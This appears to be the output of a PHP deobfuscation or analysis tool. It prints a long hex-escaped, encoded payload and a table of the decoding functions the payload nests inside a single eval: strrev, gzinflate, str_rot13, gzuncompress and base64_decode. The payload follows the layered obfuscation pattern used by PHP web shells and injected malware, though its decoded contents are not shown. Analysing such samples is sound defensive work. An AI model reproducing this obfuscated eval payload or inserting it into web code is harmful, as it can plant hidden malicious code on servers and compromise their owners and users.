3VngEq\x61Jr06XgDUlei/rPqhJDHj\x42St\x41l73NNWYprjdgsU6XP\x42/\x42SHl5y069jGVJO\x62sZHNUMk5p\x634\x2bi\x61RemGN749gMpMMY6W\x420UDVTOjTnxZ8P7\x41VXpoD75Frvu\x42pejL\x43FhDu6Y\x41Qk4T4NqTMM\x63WZV\x41tTrvtLdNyedDhD2WeSQFnxtVoH\x42\x61k3Y\x2byltIw7nHZu\x43FYuRzGHkUpH3Q\x62umxN5Room9IyvxRr1dN\x2bfgmhZQiNQMIqfnfdxVZEX21oqv7s8v\x62fZDw\x41fiS2G870PO\x637hQ\x41M\x42\x42lY\x43x\x41u/\x41l2R/Xpf\x62K93t\x432\x433ZuGRf\x62EfJ7ie3jx\x2b\x631vzdsNR/24hfpF6QlU\x42sGLPux/npxhEV\x63gNEliyDrR\x43rENZzyrlZTG3DGhN1/w/fHRNeTxRh3WDWf5\x61y\x42r\x2bDSslutst\x42FWup\x42Nuny9mqE\x62\x43/m7JiR\x437OzHxXzjRjqV\x2bJXkdk\x63OOxM9vjlK\x42gI\x63e\x2b\x61m8oETT\x63\x630f\x61F3vVmWoHW\x42OEPf\x43jvVpE\x41Wzt\x2b2y\x41UOlNZ8X\x41sTIj45ZLy2ntJsq2p\x61IjQ\x2bX18edzirfuPll8xZNeNnsVu54E\x2b\x41D0JjewZVV\x423dI9moz\x63w\x42V\x2bG\x61Q3o\x2b\x417ss0sL7/lfOuYgM\x63h\x2bvku/LDNs2Xu3LlxR8HjP9t4\x41VHdxr\x2b0i2pklSPyPVI/R/DMEzXVI7/MOv\x629I8o1jk2TD//toeN\x2b\x61t2m\x63ID/Dtp\x62jYrq0Yt\x63fX\x2b6u\x41vdu\x411HvW6dPZFyiYuYMf\x43zV\x41qkV0MEyGF7mDSmJ\x42ovUh4\x2b5mJ\x41e\x639OXd9ZGw\x2bLk\x62\x42Xy8fmR5lS\x2bPwzV89\x2bviQpkj5t4F4LXLKoDOpk6t2uOxjqW3s\x2bwTRVi\x2bzM7Ue2Xisf37\x42Wy/MSQ/nM2EFhtgXVEHwfuj\x619RJ\x63j\x41tIdx09de8X3U\x43JPkJZ\x42TlIGm1Wy84q9p1FNU\x430k5\x2bdlDtKzPH81ktPPlFS/urQYtmS8feRyfOl9\x630htUXZZM\x61i7F\x43pVe78DQly5zY\x61GpkX7\x41dKz9VmdxRiM7hWRKnltvVp\x63j\x2bx\x42Y\x2bVQxtwi5TOJ9H9y\x63T/UrOxtzQQjvMeFtPGY\x42QFSDjtHnPv\x63kl4DZxI7/\x43rrXSl\x61\x43Uy1qVZ9hHpDEYkDqE2gRPdM\x2bRs1\x439GYQ\x43SxSjR6RG85Utu\x2bi/\x2bz9\x43QFhO\x62\x62//zK\x62G/\x41K8T61Jflh6KQlg/\x2bLlDlv\x62T6jptZY8d5kol03pILWk3x/uu\x2bvi2H1kuIphOxDuomT\x43nGFx7O\x62X2m2dQT\x63PE7D\x2bV66jkKMWPfRD66Y\x421GV\x42/HkJ24OpFudSh\x62ImRqRJyE\x43S69VvLntJL0XXwPyi4zw/9NxDT2gy\x42OTFM3\x61xSjukD4LYJzJW8i18IZF\x43rO/R\x61wzSeX3DYNen\x42jP801pYxrpl7\x41nu\x43ienHjMm6zv\x62rnOVuoXJX\x63fE4\x43E29gr7MG\x43Twlzvt1RTT431plFdTtOhomM\x43GHkTLf1p/OZus8eok\x63rDJ0KVLTz/NjZ\x2bwpPqoe1Uuu\x43iJLGsY\x416HJJZXIR9/X\x63fJHNe2ywx1wdg7V3Ylz47\x42J9Y19s5XvvD\x41m\x2bn\x42FYsuf9qewxiNw\x42XF96T02\x61XqkqujYZ\x43/\x435H\x41/e\x61NE\x42t76rUntOu/K\x62/68GUwuNRXlTLY2\x43J/RHmYOh8ZF6EG\x4136SLk\x61Sn3j\x43JqUf7G//p1RWYJ9UYP\x417U1VH8HW5MoJIIH\x2b/j8\x62\x2b/QhJH\x41VfDpeqtVuR/G7fmwj\x427\x620uHWDRM5ev45\x43RpRM6R\x61mPwUX2wI3Ze1qHj25\x62DE\x432WtR/WP\x41/OG\x62mK1\x2bKw8DOS\x63zowKiinu4HSt3ldOu\x61zjX/lWyns3LzJ\x62U5\x61\x61fe8rr\x63Tj2h7z\x43te6\x61mhEkQ1e8y\x2boq9Q\x43sH7Ss\x41X\x2bsfVyv5KWh3kdIrKn52gD/l\x41O52e\x612ewhiOQjDgOQTeN218SyLoLpmDx9Y2\x62jW83lxDUXUr\x2bkMzTMK4FXnXo7D4OG\x62dFd8HXru974zDdoe4In/g64G\x61T6sxteTkHUPwFM\x41o\x43HK\x415X0gJrX/TWy4IRHf9mN\x62\x61\x2bnDy9z\x43klHO9J\x62WFj\x41yh4p5jqzlJ7jnNo4v\x2b9uNXN30DS1XNFOZ\x63RIW927LR54i5oL\x2bY1TM7XWz6\x62DiJUqy\x2bii2k1URdFYu\x61uj/93Uk\x2bE520WDR\x433\x43udtksoZpx\x42v/s\x42xTM7fzUukKwkOHVSGQhikrGT\x62S\x62W/Wzd4O0/qf9XM6Fi\x630jmL\x2b/\x42P2zy\x63TfWfzJeztl7HUgyj\x42lgfYoUSw\x42pYqn/2OiYVOhNKu7PEs5t0sie6zRJdwsWO1\x42pO9\x42js\x2b\x62LnN\x63\x62\x42xhJG3TFyk3mfTLjueZRWMP10P7\x41\x43HwwwxK\x2b3Pi9WrZ5\x429MOzT\x43fI/\x62w\x439L\x2befD\x62u\x2b\x61p7\x2bxxen/s7MPiu3oQhUzIZ\x62\x62yW4WJwF3\x63\x2b5zF075\x621j9iSfz\x630ohkdpSgVEfy322\x62oR4W34V\x41exo3v\x41M\x62y21mzvHyqp95\x42/hqwuO\x61S0uZGPw\x43oy7/uluGOXDHe\x42V9Iqv7\x62TrWk2tT28QJU6FY/4\x2bo\x62\x62\x433W\x61HX\x63lof3ITwg\x61r8xMopy8ilq2\x62SM\x41\x42QS20\x2bjgZIYpj7OKk2wpGvIT\x2bFdn1\x2bhiD3pPT\x2bD3UIXnPe1nnKMP9LdJrOJ\x42KwwV/1pgUl2\x41\x61fpt\x62/f\x62\x63xE\x43nmmJ\x2b7O8q2O\x429/f\x638EwOSo3r\x2b/7Vu\x2bofO\x41\x41mfqr\x42rJDKP8zntWdgr111Xgu\x43sK\x61L\x43s6h6jz\x43\x43tV\x63qENZ\x42JHvfj9dWOjT\x627gi\x63PV\x63s\x42e7vGfOpgf88iMhEliWqorm1RlT2rz\x62Ox\x61mUpl\x426f8d9GT5jX8iq2Z\x63GgGx2pXQJg9y0JolTwmS\x43R6II8GLNHdkjPq2p\x62NpG5LEyvGixFQUx8V\x41O\x43DXQ\x41EVowPimx8EI8\x41WUvw5U9Jhk1hOiyEfT0jYy6Ev\x41js2GW\x42/JzQG/Y\x62dFMwDsMHe\x63lSN5s596j\x41WHkJeR6\x43HSuTI/pfogtiPJSK19mUsWi917mI\x62\x42Lq8Lt7nM0zqD/YgztRoz\x41S84wj7JkX2JDdWJrDdT\x2bs\x62Jizq7\x63d9mPVJWZn\x2b7ydG\x43l\x622PNjm6L\x61/\x41\x62dDLDrl\x41fJZu4\x2bygxqEtorSO7n4kWQih1lNIrNY\x62R\x63/qFy\x41pjkD96QVPu1\x62oqG8IKlHhLTFMQu7YTx13\x63YOY\x63\x2biQsKeUXnvsgyXdSpFtYdY2\x43K17u\x436GzO3fp8u7DQP3\x63iYgexQTNY\x42LHuJ\x2bfM7xWH\x2b8S\x43Xh\x63\x63xWnV7jWp9w\x41EIF5Sxy\x41xsl20t\x63ztx\x43qfigyggoOPq\x41m3Pfy4yinlLsRP\x62mt\x2b\x2byP9gfjhk\x2bii1iwlhz9S\x43JTzzq\x43GhoSJk\x63Wr2QUJRdePmuDSk453ZvR7Ztts\x2bpm/fOtpfsJx2\x42IGSPsP\x61Vv/\x61ygok5HQyvQ43Gzm/\x41ZXT9\x61PnIsl\x2bJnd\x61tLNyqWm/vdsfi8OHTXM9\x414p\x43fWpr\x6341Ef4LZ8FxeiUlm/7\x2bOKsqMgRi1eOQnTHzW\x41L1Y3WVIWe0Z8xK\x61LrHN\x62Hu30us\x63FgMuWtvX\x41t\x2bz5O/qkd\x2bv3FVHl4HlLM3Vy\x42Ry\x635zX7fOy1Fv2h2\x61LW7ye\x41VIYZVXSeGv1\x621InYrFM3\x628\x63wJ\x426l\x636UHN5nmv6t\x63hesjTuTPqunQwT3fN/o\x63vje\x2bz0EEzTkqxZ\x4396/LO6m\x2b\x2b8R6OY5Tnulh\x63qjrO\x41\x2borP4ylPJFJ\x2bVflySo5qHiY8jQFl/\x63FZKVU\x2bODki\x61U\x2bWXNRfQVTZz3ZzEX1Nr0mi\x63\x62X170OfPJh/vVrYQvo9d2Nx6ToLdz7\x43SL\x62WS\x61s\x63OZFfHI\x63L\x42\x435L\x61qs57MHIwYSPumpwm\x2b1Hw00mQmpz/ZhEQdokGk\x62R\x61DqujXrNT5YtK7mnLF\x42hxUSy8M6ZkirxjxLhMDXf4\x434z6K9ZR4Zd2n\x624nxiOUZpfRRr\x43InLRS6I\x421x3f12g8JSySHLTtxfDTeRqrdoiyzGdVj8KN7VOPe\x42K5ieFOkX\x62SI\x438kNFS82WJU\x63khIvS\x63PKJNF8OYGVLhQ3OmgEt1l\x43ei4VKUmZ\x420FvFdlZWiLET5YptW/F7ZPxTgEKJ\x63n\x2bITTHQ\x62\x41FHshGG\x63zgJ1mtYYvo83\x2b\x43HS\x2bVgZe3j77\x62IHXmQ\x2bUfE\x41YV9qYmJR8siGTs4kSE0W\x42ZKjMO\x429\x42Pw/9lwT6F\x61DIOKxHN\x61Ld6\x2b/7\x63UqH5E\x42f3P3\x42NjoOwhl38V38\x6326rUMhJZTROO2UZdRfK7yZkJMZnj\x61OeWptlfoH\x62x\x4347x2D\x62kvgJUsidxZ\x61sIUwI2\x2bzQUrP/P2Fi7IEL7RT2Z4S1Vsxnsj0t7\x41i2Ir8L3eh/Kdom\x61v\x42s2r\x61J3hE5\x625d855\x61Mv\x61QVqFJ3l/p1TotYonEt8kk7Lv4pzGS\x42SNLYNPp75l\x42x\x43FNpgfM\x41NtTmlx/97NFGt\x2bvH\x2bY02e\x62Kx\x43izz\x2bf\x417D2qjmV\x43ewum\x62Jy7\x43mRpkTXvXGs2r\x62WL5mX\x43P\x62G\x63t3x8mqDEmzKSZyiMvpt\x62\x43qM\x41g4k6T84tkis\x61WMZrPEVOVKj2sMn\x42R\x63\x43Gq50P0mKiwZtde1E98jeR\x637e2h4W3uiWJXzeKYJH/Kr6X\x624rT9PJvktgEiz9n\x4370dDLZo45ReLGhFNJ9NGwGw0UoKl/m\x62KywXiUk2VJ2\x63yt1jlrX\x42iPhWFRE87vsEm\x62j95\x61d1yR8WLp578VZvFvjnuD\x63sg/XoRkhJP\x41tMx6\x2bp9M\x2blkG/9mStPH0u2X3FNmkzwx\x62LRRQLfXSIRL2QSR8YK\x414SV\x61WsgGTJmF2d\x43pugdquyfqU\x63UlXoLF5FUjH0gX5OxhSX\x63S\x2b\x2bHZLDes8/xkGl81rTs83oMi4RolhGtpYJ04Gym23z3dhIFd/xjLO\x41zTmFSlNE8G7y\x63HItunlvXv\x63\x62kT368pW\x63e56y/wWMF1fnk9sUufVz170\x43q1nf2yHtgmHwl\x2bM5T\x624L6\x62X2H\x42FhF\x42ihdwhhEX7HT\x2bvT39/zOG7\x41UvJnX\x4244JRljmnjyz/\x6265\x62\x618kq\x43VlGd7Q30P\x42PJrx\x42z\x61p\x62\x416q\x2bHr\x61kV\x6334l7iIq54O9T\x63o\x62t\x638\x41\x62L7uZdLJYRu\x43\x622nuM5ZqVoduDj\x43q\x43/Jxdk\x42ZuyGqj\x2bZRy7\x43HD\x2bxhvhr9jOOpR8RqrfPw6y5\x63\x63GZu\x427o5lfW\x63t6UjoEY\x63rjg1snx\x2bM\x42pfhJDWlxOJO/nmywpRYF3r\x63\x2bpH\x435y6\x63\x4335w/TOhqnm2g3NkzvtZl2ENGmf9Z9H6\x63xXq2qTLx\x43k\x63JDIO15MLOk8d7xG8\x62Pg\x631nOZVd3Q\x416rL4f8pDM1X58PnUw\x2bUWTK7f4R9o\x43GGjDIzLwL3NWIWTI\x63Q3r6eN/0Wz9K/vju\x41gU\x42Mh\x43XmSvnW7fP\x2b\x420JIHd\x2by/\x414M03fW9nWZ5jQ5hHfXRy3Eh7T\x63Vv4QnfRigF186uH/PS4\x431Wm\x63gkTPvt\x42UL\x63rPz\x61\x419umX4JweIFSxKN50kZ\x638\x41kXpWjOIeoLpTkq55\x62hp\x61hH/T5rG\x41kJxQw7WT\x426\x41lH0MTJFknJru7mwyNgR0g4hO\x2bQRdyX\x42\x43r5\x63\x43ZWkmO\x632oZxSKVNnqtmUp0xf\x63nohvzir\x62Wg1DMQQYqJRMmk\x63m5rYx\x42\x63l73ZPi2ETokzQ28\x435r6n5\x2bqYUUxZtR\x63R\x43\x628PPGe0rswxrGXs0WWGyRuO01E9Y6iw\x63ldweM2xGVf\x42YVm/1Pq9m\x41TxdR/MQPt\x61\x43ZnHYFQDzgdwMy6FvNEIFxsdqLyLh\x42NJ0m6wFQE7vT\x62q\x2b88rL/RD5\x63WESmPx2e2j5MJ\x62FEYO9QrjEY2Eu5qLjjlwQv0F7\x2bdiyez9tttU7ozYqfpyG\x416E7vfy/kxI\x2boFN7sVOooJtU1\x2bVZvqr\x631J\x43Z3UIJt1uh4X5Up\x61w8onl0\x63\x62\x425i\x41ZqVxZnsPf\x614k6l\x638NOiKZmdJnYePRzQ7wtjPN\x2brTS\x42nyMQO6wE\x41r0\x43Q27HrPlG7/ZJ\x62OOQ8\x62Ny3j\x62\x62rp\x61\x61pSoySrQr23x9X\x41tj\x42fzd\x63lW\x2b\x410i0y99TykYiMOusw\x63NxQenVXqNPm\x63wT5LU\x42i5USmQzwLtLVvJZoeQ2\x41L9ZJQnv8Nmy5frxki6RIPux5Ovyi/WKT\x63fwUgv14RN4\x62rjfW5yM4wuVX1JmP6zqH/F/v\x41Ssp7D\x63kylFYpvs\x42DkNEJ\x43Tk\x41V9TrtiR9i\x426uuL71dRpOV\x63zrSS8I\x63nT7rV1I8up\x62lN4U6LZ1fo\x63yG48Ll1heHDYzn7V2e0LltJP\x61Wy6ejE\x2brvw\x613k8Z\x61M8s\x41y/\x2bq\x43XddRFepNsY\x62xDgUpEJSU\x41UM/k0\x41k83mF\x42FlJx5LV9fX2P\x41z/QPsMuuDE\x62NuUep\x63elvDQR\x62l8X/Xm8FeHWfwetiR4V6uSd\x62WzqlxW0OO0Ld\x61FK\x42ND\x2bP8\x2br\x43GQRMxty\x62PIe0vUs0l\x42jord\x63LyoY039\x433R\x63VHS05\x61mTzI2sEMFY1jZfiXSPREKI\x43yhEomvi\x61T7g550OQxpttZJ8DkvkZJnw\x2b2xiv\x41fZdwjT\x43vjt\x419zGxP9uq2irqzlR4HID91wuhgD7Gh8/JFZtMmDj\x43sz\x62oMj\x63HhRPX4LpUJZo0Lp9FYFZ\x61\x639MEnk2Jdj2Q\x430iuFqx\x62\x41YrqiU5sUeKmqio1u\x43PULLmosP\x428eLmXNpLg\x63e\x42\x4175\x61W\x42dOeWpXN\x2b\x437MjhknePV2F\x61LnlNqs\x43fzKVWEV7OXd4mho89I\x636QrxXfGtNRtzVUKFLI\x62Ulq\x61r3YkY\x63\x617KDu\x63zpqFos3z\x61nzPK\x618eGqp\x2bULj7o28P0D1tY3K7szXk\x4223J\x41J\x2bUUuH8\x62EEvvk5Jw5SGiGKGZ\x41p9jvjFdTZm/6\x435I3tQjrrouxz\x61vdZHEhdTqnVZ2x5L\x432q\x62gKU\x63\x42GDEnss1J4uTxMTio51s2lHDRxpRWKsR\x61I5GdwO4f\x2bx\x42D\x41\x41XMKw\x2b\x62t2FK3\x41sKr\x63JXi/21T\x43\x2bSEoY\x2bDRK/oFqTp\x42ve\x63rUvvXMnNhYK\x62LPVkZpGY\x63sO4Rr7s11uNsi2eUuVSwQl\x43x9S9e8S2OzvW\x62fFJKL4\x41FUrvmKEXjfxIrtJK\x2bP\x61OYTXMEXT5J0\x612wmglEGoV8S\x62lixuVP\x2bqkYmDW\x638ol2o8Z85zKfD\x2bEsD2qXimmI9/2HwTP3H6\x631kzjq\x43tu7tdiEi\x63GQo\x62EKx4YfG1W/WmdL5LVt8i\x62z5xPp2Q\x41logH\x41FOK/qrv9hUd\x438ShQkpZUd/SlTrOd9uvqfMrdGtmGDf7\x41uPQm1v6\x424Q1uJ8Ritdzx68D\x42NuhF6\x635LHVWV14e\x43luUomJ\x61\x63eqG78zk\x626TfirFz/pgpT39F5k97FQj04vu\x418NwRLZKxEyk\x2bpL\x43JnRKpLeTIOEprH6FhMSvm2m2yFz\x2bi9K3kyL14lwyTilTD\x62s\x63//oDZDEuvUl\x61m0Ou0f\x61e\x63G\x41h/\x42\x41XM9i9\x43G3\x43954Q\x61ph042\x2b5\x63p33ssH\x2bVEFiw/eZRZw1\x63ljU\x2btGo\x43fwDnv\x617oDNx\x62FQ/\x61OtRhKwpZN6vtfgLzUf\x61qWtZ\x62J28e\x2bYI6j8IT43\x618l19nKLNrW\x41tStLd\x63O7Qtn2j01h\x434niYoiysrWntgZyD1\x41pJ\x2brT2vppEuMJRJS\x42TU9ekyWOIZz\x2bKOSeuWEljinrJvLHTnfxgT0ptxtRIO\x43Fxt0h\x426Ewz\x62kW\x62S9M8EF\x41P\x62WmIWvZwog2ffGwDQmK9ZXjIRdPS2J\x611OX7RkWmPEHHMsTYQ9fdiXK5/Wd8pT\x62Lyg\x6244\x61E4sVHsU2e9Yr4\x43eMx\x41eKWTO\x61UtlD3E2u\x63PsvXP2Tw\x43yiJfyWQ9zKTqie5Jyojuy\x42xMn\x62423R\x43JJE53eI2dqGSgN48k\x2b\x42KusYghkz898oNuFQ\x43N\x42wsleNlQiH66iXr5ePmuymri2FJNK\x62dTY\x619kTGImYKiHxzR0P63p8\x41odYK3V1wHu3WKno6uVGYux\x42JwWr\x62D4O6/X5mm67edTzrT\x2blY\x43i\x43SIvE\x63HpO16uiT78kT/LQHkJYvg/Pzs93o2\x2bx\x63L\x2bs715\x63uNfeOFf\x2bdf2f\x2bsPW\x41D\x61\x41MY8gRoReY6\x43T3SLo\x43dKihlk\x41\x43\x62HlrMeHdISJqIkIdDikvUIV6FpEVUUg9374EYVGndwJeEm8e2E\x41hEv3O\x42wJeEm7eGF\x41h0u3S\x42wJeEm6eWF\x41hku3W\x42wJe"))))))))))));Function Calls
| strrev | 1 |
| gzinflate | 4 |
| str_rot13 | 1 |
| gzuncompress | 4 |
| base64_decode | 1 |
Stats
| MD5 | dbfd978bdefe0856cc6886dffbcc55cb |
| Eval Count | 1 |
| Decode Time | 1023 ms |